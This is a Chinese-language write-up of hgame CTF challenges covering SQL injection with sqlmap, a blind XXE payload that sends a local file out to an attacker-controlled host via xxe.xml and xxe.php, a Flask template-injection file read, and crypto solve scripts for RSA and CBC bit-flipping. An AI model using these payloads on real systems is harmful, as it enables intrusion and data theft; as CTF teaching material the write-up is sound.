web

正常的SQLi [250]

基于 cookie 的 SQL 注入,使用 sqlmap 即可实现自动化注入,由于 cookie 值经过 base64 编码,需要附加 tamper

$ sqlmap -u "http://[REDACTED]/normalSQLi/index.php" --cookie "name=" --tamper "base64encode" --level 2 --dbms mysql

经过 sqlmap 测试可知存在延时盲注(time-based blind)漏洞,通过 --sql-shell 功能即可进行查询,从而得到 flag

Flag: hgame{fLag_1s_h4re.....}

送分的SQLi [100]

本周 web 签到题,使用 sqlmap 即可一键注入,查表即可获取 flag

$ sqlmap -u "http://[REDACTED]/?id=1" --dbms mysql

Flag: hgame{Th3_e4sist_sql_injeCti0n##}

简单的SQLi [250]

布尔盲注(bool-based blind),加了一个常见的 MD5 截断验证

试图自己写 sqlmap tamper 没成功,最后还是从头写了个脚本来进行盲注

Flag: hgame{sql_Injection_s000oo_fun}

**书店 [250]

查看网页源码可发现 hint,本题考查 XXE(XML 外部实体调用) 漏洞的利用,进行尝试发现没有回显,需要根据 Blind XXE 漏洞来构建一条带外信道提取数据。构造 payload 如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % data SYSTEM "file:///a/b">
<!ENTITY % remote SYSTEM "http://[REDACTED]/xxe.xml">
%remote;
%all;
]>
<root>&send;</root>

存放在攻击者主机上的 xxe.xml 内容如下:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://[REDACTED]/xxe.php?data=%data;'>">

xxe.php 内容如下:

<?php

if(isset($_GET['data'])) {
    file_put_contents('data', $_GET['data']);
}

向目标提交经过 base64 编码的 payload,查看收到的数据(data 文件中),即可获取 flag

Flag: hgame{skdvhdsbvadvnjVADBVS}

ngc's blog [150]

查看 HTTP 返回头发现 Server: Werkzeug/0.14.1 Python/2.7.12,猜测使用 Flask 等框架搭建 ,经过测试发现存在 SSTI(服务端模板注入)漏洞

web_5_1.png

提交 {{ ''.__class__.__mro__[2].__subclasses__() }} 进行注入可以 dump 使用的所有类,从返回结果中找到 file 类的索引,为 40

根据提示,flag 在文件 flag 中,提交 {{ ''.__class__.__mro__<a href="'flag'" rel="external nofollow noopener" target="_blank">2].__subclasses__()[40</a>.read() }} 通过 file 类实例化文件 flag 并进行读取,即可获取 flag

Flag: hgame{Xxe_v3ry_funny!!!!}

misc

bunny treasure [200]

使用 Wireshark 或 Fiddler 等工具解析给出的流量包,去下载其中下载的两个云存储文件,发现加密的压缩包 misc.zip 中除了 flag.txt,也有一个 CuteBunny.jpg,可以进行 zip 明文攻击

测试多个常用压缩软件使用不同参数对 CuteBunny.jpg 进行压缩,查看压缩后大小是否与 misc.zip 中的相似,以及 CRC32 值是否相同。最后发现使用 WinRAR 进行 zip 标准压缩可行

备份 misc.zip 后删除包中的 flag.txt,使用 ARCHPR 工具进行明文攻击,找到密钥后恢复备份即可解压其中的 flag.txt

misc_1_1.png

Flag: hgame{^P1ay_H9am3_2nd_p1Ay_buNNy^}

画风不一样的她 [250]

PNG 盲水印(Blind Watermark),使用 chishaxie/BlindWaterMark 提供的脚本即可从 0.png 中提取出隐写的盲水印图片

$ python2 bwm.py decode 1.png 0.png flag.png
image<1.png> + image(encoded)<0.png> -> watermark<flag.png>
misc_2_1.png

Flag: hgame{b1ind_water_m4rk_quq}

这是啥 [200]

给出的压缩包被加密了,使用十六进制编辑器查看,可以发现最后多了一些奇怪的数据

misc_3_1.png

对其进行 base64 解码得到:“key is here no one knows:hammernb”

使用密码 hammernb 解压出文件 rgb,发现其由 78400 行 0 0 01 1 1 构成,根据题目 “rgb” 的提示,猜测是 rgb 值。由于 0 与 1 颜色差距太小,将文件中的 1 全都换成 255

通过如下 python 脚本即可使用该数据生成图片

from PIL import Image

x = 280
y = 280

image = Image.new('RGB', (x, y))
file = open('rgb')

for i in range(0, x):
    for j in range(0, y):
        line = file.readline().strip('\n')
        rgb = line.split(' ')
        print(rgb)
        image.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

image.save('flag.png')

其中 x 与 y 两个变量指代目标图片的宽与高,由文件的行数 78400 分解得到(由于有多种分解组合,可以进行测试得到)

生成的文件是一个二维码,观察其定位图案发现颜色是反的,对图片进行反色处理即可正常扫描,得到一个 URL “http://[REDACTED]/693ba655aeafa3b370987c39c6a5cb3e”

下载目标文件发现内容经过 base64 编码,解码可得一串由压缩包文件头 50 4B 开头的十六进制数据,将其写入文件可以得到一个压缩包,解压可得 flag.txt(题目要求得到此 flag 后向出题人换取真 flag)

Flag: hgame{zhe_Sh1_true_F14g23333333333}

crypto

babyRSA [100]

根据提示,使用 openssl 工具,选择不同的填充方式尝试解密,发现 RSA_PKCS1_OAEP_PADDING 可以正常解密

$ openssl rsautl -decrypt -in flag.enc -out flag -inkey private.pem -oaep

Flag: hgame{OAEP_i3_safer%$#}

NotHardRSA [300]

阅读源码,可知生成的 5 个素数进行了 10 次加密,存在重复,利用公约数即可算出 N,进行解密

通过如下 python 脚本即可进行计算

import binascii
from fractions import gcd as GCD

gcd = lambda *args: reduce(GCD, args)

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def invMod(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

e = 65537
ciphers = []
array = [0, 1, 2, 3, 4]
primes = [0, 0, 0, 0, 0]
file = open('cipherx.txt')
for i in range(10):
    ciphers.append(int(file.readline()))
file.close()

primes[0] = abs(gcd(ciphers[0] - ciphers[4], ciphers[0] - ciphers[7], ciphers[0] - ciphers[9], ciphers[4] - ciphers[7],
                    ciphers[4] - ciphers[9], ciphers[7] - ciphers[9]))
primes[1] = abs(gcd(ciphers[1] - ciphers[5], ciphers[1] - ciphers[8], ciphers[1] - ciphers[9], ciphers[5] - ciphers[8],
                    ciphers[5] - ciphers[9], ciphers[8] - ciphers[9]))
primes[2] = abs(gcd(ciphers[2] - ciphers[6], ciphers[2] - ciphers[7], ciphers[2] - ciphers[8], ciphers[6] - ciphers[7],
                    ciphers[6] - ciphers[8], ciphers[7] - ciphers[8]))
primes[3] = abs(gcd(ciphers[3] - ciphers[4], ciphers[3] - ciphers[5], ciphers[3] - ciphers[6], ciphers[4] - ciphers[5],
                    ciphers[4] - ciphers[6], ciphers[5] - ciphers[6]))
primes[4] = abs(gcd(ciphers[0] - ciphers[1], ciphers[0] - ciphers[2], ciphers[0] - ciphers[3], ciphers[1] - ciphers[2],
                    ciphers[1] - ciphers[3], ciphers[2] - ciphers[3]))

print(binascii.a2b_hex('%x' % pow(ciphers[9], invMod(e, (primes[0]-1)*(primes[1]-1)), primes[0]*primes[1])))

Flag: hgame{sHa2e_i3_dan9erOus_1N_RSA}

CBC V0.2 [300]

CBC 字节翻转攻击,阅读源码发现 unpad 函数的使用存在漏洞,通过修改最后一个字节可以使 unpad(salt + plaintext) 的结果为 salt 加上任意长度的 plaintext 前段

如此,我们可以首先通过注册功能,注册用户名为 a,获得其 sig (MD5 值)

再注册一次,用户名为 ddmin,获得其 token,token 是由 pad('ddmin') 经过 AES 加密得到的,而 pad('ddmin') 的结果可知,为 'ddmin' + '\x0b' * 11

然后对 token 进行 CBC 字节翻转攻击,使其解密结果变为 'admin' + '\x0b' * 10 + '\x0f',这样的字符串在 unpad 函数处理后会变为 a,而其 sig 已知,即可通过最后验证

CBC 字节翻转攻击脚本如下

import base64

u = 'BcBXanBiF6WoEZR89DdJZ3Q0m8a6tHyO7Dv2nYiMsaM='
de = list(base64.b64decode(u))
de[0] = chr(ord(de[0]) ^ ord('d') ^ ord('a'))
de[15] = chr(ord(de[15]) ^ ord('\x0b') ^ ord('\x0f'))
print(base64.b64encode(''.join(de)))

开头还有一个 MD5 验证,使用如下脚本即可爆破

import multiprocessing
import hashlib
import random
import string

CHARS = string.ascii_letters + string.digits

def cmp_md5(targetHash, stopEvent, appendString):
    global CHARS
    size = 4
    while not stopEvent.is_set():
        randomString = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(randomString+appendString)
        if md5.hexdigest() == targetHash:
            print randomString
            stopEvent.set()

targetHash = '272380c05b1baad55fd0ae9a90b1b9af'
appendString = 'IvlYDJJeMrvk'
cpus = multiprocessing.cpu_count()
stopEvent = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(targetHash, stopEvent, appendString)) for i in range(cpus)]
for p in processes:
    p.start()
for p in processes:
    p.join()

Flag: hgame{Congr@tv1atIons_0n_havin9_d*ne_!t}

Categories: CTF

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注